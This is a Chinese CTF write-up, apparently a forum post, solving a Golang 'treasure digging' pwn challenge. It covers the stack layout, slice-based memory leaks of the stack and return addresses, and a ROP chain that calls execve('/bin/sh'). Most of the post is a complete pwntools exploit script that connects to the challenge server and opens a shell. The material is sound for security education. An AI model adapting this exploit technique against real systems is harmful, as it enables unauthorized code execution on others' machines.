-
-
[原创] CTF2019Q1 第八题 挖宝 writeup
-
发表于: 2019-3-22 16:14 4294
-
google it: golang pwn
BAMBOOFOX CTF 部分 writeup # infant-gogogo 180
得知:
Seccon2017 - Golang Overflow
得知:
保护全开,google 上的参考还是固定基址比较好做
使用 IDAGolangHelper 脚本,能够解析 golang 的函数名,比较好分析
runtime_slicebytetostring 的 参数是 slice 结构
通过 gdb 尝试得到栈结构
A*192 | slice->data | slice->len | slice->cap | B*72 | ret
我们能够操纵 slice 的成员来打印任何地址,测试的时候发现 len 不能设置很大,所以代码分 2次 分别泄露 输入的名字 和 ret 的地址(walk 返回地址)
linux 下 syscall 59 是 execve,构造 rop
syscall_Syscall | 0 | 59 | /bin/sh | 0 | 0
完成调用 execve("/bin/sh", NULL, NULL)
struct slice { char *data; __int64 len; __int64 cap; };
from pwn import * import itertools p = remote("211.159.175.39", 8787) # p = process("./trepwn") def move(xd, yd): if xd == 1: m = "d" elif xd == -1: m = "a" elif yd == 1: m = "w" elif yd == -1: m = "s" p.sendline(m) msg = p.recvuntil(">>") if "Treasure 4" in msg: return True elif "Treasure" in msg: # 跳过 宝藏123 p.sendline("skip") p.recvuntil(">>") return False def play(): # 遍历地图 steps = [(1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, 1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, 1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (0, -1), (1, 0), (1, 0), (1, 0), (1, 0), (1, 0), (0, -1), (-1, 0), (-1, 0), (-1, 0), (-1, 0), (-1, 0)] # 通过 cycle 无限遍历地图直到 宝藏4 for xd, yd in itertools.cycle(steps): if move(xd, yd): break # golang 的栈基址 _stack = 0xC820000000 # walk 的 4个 返回偏移,w/s/a/d 4处调用 _rets = [0xD7EE9, 0xd7f48, 0xD7FCF, 0xD8036] # syscall 利用偏移 _syscall_Syscall = 0x186600 import sys def main(): p.sendlineafter("name :\n", "/bin/sh") p.recvuntil(">>") # 玩第一次 泄露 输入的名称 play() # 尝试 0xA000 -> 0xC000 的范围 p.sendline("A"*192 + p64(_stack + 0xA000) + p64(0x2000) + p64(0x2000)) ret = p.recvuntil(">>") idx = ret.find("Your message: ") ret = ret[idx + len("Your message: "):] # _leak_name 为栈中地址 idx_name = ret.index("/bin/sh\0") _leak_name = _stack + 0xA000 + idx_name print hex(_leak_name) # 玩第二次 泄露 返回地址 play() # 尝试 0x41E00 -> 0x44E00 p.sendline("A"*192 + p64(_stack + 0x41E00) + p64(0x3000) + p64(0x3000)) ret = p.recvuntil(">>") idx = ret.find("Your message: ") ret = ret[idx + len("Your message: "):] idx_ret = ret.index("A"*192) idx_ret += 200 + 8 + 80 # 192 + 8*3 + 72 # 返回地址 addr_ret = u64(ret[idx_ret: idx_ret+8]) print hex(addr_ret) # 返回地址有4种,通过后3字节不变的原则来确定基址 for r in _rets: if r&0xFFF == addr_ret&0xfff: base = addr_ret - r break print hex(base) # 最后玩一次输入 rop play() # slice->len 为 0就能跳过 runtime_slicebytetostring p.sendline("A"*200 + p64(0) + "B"*80 + \ p64(base + _syscall_Syscall) + p64(0) + p64(59) + p64(_leak_name) + p64(0) + p64(0)) p.interactive() main()
RELRO | STACK CANARY | NX | PIE | FILE |
---|---|---|---|---|
Full RELRO | Canary found | NX enabled | PIE enabled | apwn |
- golang 的 pwn 差不多都是栈溢出 rop
- syscall_Syscall 是栈传参很容易利用
- golang 的栈地址比较固定(0xC820000000)
- 讲解了如何 pass runtime_slicebytetostring 函数
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2019-3-22 16:14
被kkHAIKE编辑
,原因:
赞赏
他的文章
看原图
赞赏
雪币:
留言: